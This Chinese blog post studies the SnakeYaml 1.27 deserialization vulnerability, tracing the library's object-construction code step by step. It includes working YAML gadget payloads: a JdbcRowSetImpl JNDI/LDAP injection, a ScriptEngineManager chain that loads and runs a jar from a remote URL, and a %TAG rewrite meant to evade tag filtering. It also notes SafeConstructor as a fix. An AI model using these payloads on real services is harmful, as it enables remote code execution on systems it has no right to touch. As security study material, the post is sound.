https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

SnakeYaml反序列化漏洞分析学习

SnakeYaml 反序列化漏洞分析学习

依赖:

<dependency>
	<groupId>org.yaml</groupId>
	<artifactId>snakeyaml</artifactId>
	<version>1.27</version>
</dependency>

demo:

public class Test {
    public static void main(String[] args) {
        //yaml序列化
        Person person = new Person("zhangsan", 16);
        Yaml yaml = new Yaml();
        String dump = yaml.dump(person);
        System.out.println(dump);

        //yaml反序列化
        String x = "!!com.kudo.Person {name: lisi, age: 18}";
        Object load = yaml.load(x);
        System.out.println(load);
    }
}

分析:

主要分析反序列化的过程

首先将字符串yaml封装为StreamReader然后调用loadFromReader

image-20250605171213137

再次层层封装进composer,然后通过setComposer方法装进constructor中

image-20250605171625569

调用getSingleData方法通过getSingleNode()获得一个单独节点,判断节点不为空且标签不等于NULL

image-20250605172400169

调用constructDocument()对节点进行转化为java对象,里面又调用了constructObject

protected Object constructObject(Node node) {
        return this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : this.constructObjectNoCheck(node);
    }

此为一个map对应着节点与对应的java对象,此时再进入constructObjectNoCheck

image-20250605172828584

可以通过报错看到recursiveObjects(一个Set集合)代表的应该是无法构造的递归节点,调用getConstructor获取构造器

image-20250605173241666

通过yamlConstructors查找标签头,但这里的Person自然是找不到的。然后yamlMultiConstructors是开发者自定义的,自然也是没有的,最后使用了null对应的构造器,出函数,调用constructor.construct

image-20250605173408927

调用getClassForNode,classForTag自然为null,调用getClassName找类名

image-20250605175132164

返回标签后面的名字然后进行Uri解码,返回com.kudo.Person,随后调用getClassForName

image-20250605175250858

调用forName加载类,然后出函数调用对应null的构造器的newInstance

image-20250605175403859

最后一直调用到此,获取默认的构造器然后初始化

image-20250605180250756

调用constructJavaBean2ndStep,对其中的参数赋值

        protected Object constructJavaBean2ndStep(MappingNode node, Object object) {
            Constructor.this.flattenMapping(node);
            Class<? extends Object> beanType = node.getType();
            List<NodeTuple> nodeValue = node.getValue();
            Iterator i$ = nodeValue.iterator();

            while(i$.hasNext()) {
                NodeTuple tuple = (NodeTuple)i$.next();
                if (!(tuple.getKeyNode() instanceof ScalarNode)) {
                    throw new YAMLException("Keys must be scalars but found: " + tuple.getKeyNode());
                }

                ScalarNode keyNode = (ScalarNode)tuple.getKeyNode();
                Node valueNode = tuple.getValueNode();
                keyNode.setType(String.class);
                String key = (String)Constructor.this.constructObject(keyNode);

                try {
                    TypeDescription memberDescription = (TypeDescription)Constructor.this.typeDefinitions.get(beanType);
                    Property property = memberDescription == null ? this.getProperty(beanType, key) : memberDescription.getProperty(key);
                    if (!property.isWritable()) {
                        throw new YAMLException("No writable property '" + key + "' on class: " + beanType.getName());
                    }

                    valueNode.setType(property.getType());
                    boolean typeDetected = memberDescription != null ? memberDescription.setupPropertyType(key, valueNode) : false;
                    if (!typeDetected && valueNode.getNodeId() != NodeId.scalar) {
                        Class<?>[] arguments = property.getActualTypeArguments();
                        if (arguments != null && arguments.length > 0) {
                            Class keyType;
                            if (valueNode.getNodeId() == NodeId.sequence) {
                                keyType = arguments[0];
                                SequenceNode snode = (SequenceNode)valueNode;
                                snode.setListType(keyType);
                            } else if (Set.class.isAssignableFrom(valueNode.getType())) {
                                keyType = arguments[0];
                                MappingNode mnode = (MappingNode)valueNode;
                                mnode.setOnlyKeyType(keyType);
                                mnode.setUseClassConstructor(true);
                            } else if (Map.class.isAssignableFrom(valueNode.getType())) {
                                keyType = arguments[0];
                                Class<?> valueType = arguments[1];
                                MappingNode mnodex = (MappingNode)valueNode;
                                mnodex.setTypes(keyType, valueType);
                                mnodex.setUseClassConstructor(true);
                            }
                        }
                    }

                    Object value = memberDescription != null ? this.newInstance(memberDescription, key, valueNode) : Constructor.this.constructObject(valueNode);
                    if ((property.getType() == Float.TYPE || property.getType() == Float.class) && value instanceof Double) {
                        value = ((Double)value).floatValue();
                    }

                    if (property.getType() == String.class && Tag.BINARY.equals(valueNode.getTag()) && value instanceof byte[]) {
                        value = new String((byte[])((byte[])value));
                    }

                    if (memberDescription == null || !memberDescription.setProperty(object, key, value)) {
                        property.set(object, value);
                    }
                } catch (DuplicateKeyException var17) {
                    DuplicateKeyException ex = var17;
                    throw ex;
                } catch (Exception var18) {
                    Exception e = var18;
                    throw new ConstructorException("Cannot create property=" + key + " for JavaBean=" + object, node.getStartMark(), e.getMessage(), valueNode.getStartMark(), e);
                }
            }

            return object;
        }

对键值对遍历,然后分别赋值

通过getProperty获取类型

通过constructObject递归调用赋值每一个valuenode,值拿到后,通过property.set赋值

image-20250605181526236

image-20250605181735412

拿到各个属性的set方法,然后调用invoke。我们基本就能够掌握反序列化依靠的是构造方法加上setter方法,接下来学习利用手法

image-20250605181913306

image-20250605182022622

JdbcRowSetImpl链

这个链也是不陌生了

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:8085/oxWLzWEX, autoCommit: true}

简单说下,这个set方法调用达connect会调用connect

image-20250605182608609

出现jndi注入,setDataSourceName赋值即可

image-20250605182637593

image-20250605182836608

ScriptEngineManager链

先学习一下SPI机制

SPI(Service Provider Interface), JDK内置的一种服务提供发现机制。它的利用方式是通过在ClassPath路径下的META-INF/services文件夹下查找文件,自动加载文件中所定义的类

demo:
1.定义服务接口

package com.kudo;

public interface HelloSPI {
    public void sayHello();
}

2.实现服务接口(服务提供者):

public class TextHello implements HelloSPI {
    public TextHello() {
        System.out.println("TextHello 无参构造方法");
    }
	@Override
    public void sayHello() {
        System.out.println("Text Hello");
    }
}
public class ImageHello implements HelloSPI {
    public ImageHello(){
        System.out.println("ImageHello 无参构造");
    }
    @Override
    public void sayHello() {
        System.out.println("Image Hello");
    }
}

3.创建服务提供者配置文件

META-INF/services目录下,你需要创建一个文件,文件名是服务接口的完全限定名(包名.接口名)

文件内容为,你需要列出所有实现这个接口的服务提供者的完全限定名(包名.类名),每行一个

image-20250605185524518

4. 加载和使用服务提供者:

加载和使用

public class SPIDemo {
    public static void main(String[] args) {
        ServiceLoader<HelloSPI> serviceLoader = ServiceLoader.load(HelloSPI.class);
        for (HelloSPI helloSPI : serviceLoader) {
            helloSPI.sayHello();
        }
    }
}

image-20250605185548291

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]

这里是通过[]来进行调用有参构造,在Person中通过[]加载Scholl类

String x = "!!com.kudo.Person\n" +
                "[!!com.kudo.School {name: wut}]";
        Object load = yaml.load(x);

经过调式,他会识别并且同样的反序列化School然后直接调用com.Person类中对应的有参构造方法

image-20250605192252773

image-20250605192436237

所以这个poc的流程是这样的,调用有参构造函数,init中调用initEngines

image-20250605192734020

image-20250605192804452

首先会加载jar包然后通过while()遍历 遍历到Evil时 调用构造函数弹出了计算器

image-20250605202030835

所以我们构造一个实现服务接口的恶意实现类,即如下,然后打成jar包

image-20250605200356196

开启http服务
http://127.0.0.1:8888/ScriptEngineManager_payload.jar

成功攻击

image-20250605200312391

修复

Yaml yaml = new Yaml(new SafeConstructor())

定义反序列化白名单

public SafeConstructor(LoaderOptions loadingConfig) {
  super(loadingConfig);
  this.yamlConstructors.put(Tag.NULL, new ConstructYamlNull());
  this.yamlConstructors.put(Tag.BOOL, new ConstructYamlBool());
  this.yamlConstructors.put(Tag.INT, new ConstructYamlInt());
  this.yamlConstructors.put(Tag.FLOAT, new ConstructYamlFloat());
  this.yamlConstructors.put(Tag.BINARY, new ConstructYamlBinary());
  this.yamlConstructors.put(Tag.TIMESTAMP, new ConstructYamlTimestamp());
  this.yamlConstructors.put(Tag.OMAP, new ConstructYamlOmap());
  this.yamlConstructors.put(Tag.PAIRS, new ConstructYamlPairs());
  this.yamlConstructors.put(Tag.SET, new ConstructYamlSet());
  this.yamlConstructors.put(Tag.STR, new ConstructYamlStr());
  this.yamlConstructors.put(Tag.SEQ, new ConstructYamlSeq());
  this.yamlConstructors.put(Tag.MAP, new ConstructYamlMap());
  this.yamlConstructors.put((Object)null, undefinedConstructor);
  this.yamlClassConstructors.put(NodeId.scalar, undefinedConstructor);
  this.yamlClassConstructors.put(NodeId.sequence, undefinedConstructor);
  this.yamlClassConstructors.put(NodeId.mapping, undefinedConstructor);
}

绕过

SnakeYaml反序列化原理分析和利用总结-先知社区

!!代表TAG

 !!javax.script.ScriptEngineManager    变为   
 !<tag:yaml.org,2002:javax.script.ScriptEngineManager>

在yaml中%TAG可以声明一个tag %TAG

%TAG ! tag:yaml.org,2002:

所以可以如下替换

%TAG !      tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://127.0.0.1:8888/ScriptEngineManager_payload.jar"]]]]

SnakeYaml反序列化原理分析和利用总结-先知社区

Java SnakeYaml 反序列化漏洞原理-CSDN博客

posted @ 2025-06-05 20:46  kudo4869  阅读(113)  评论(0)    收藏  举报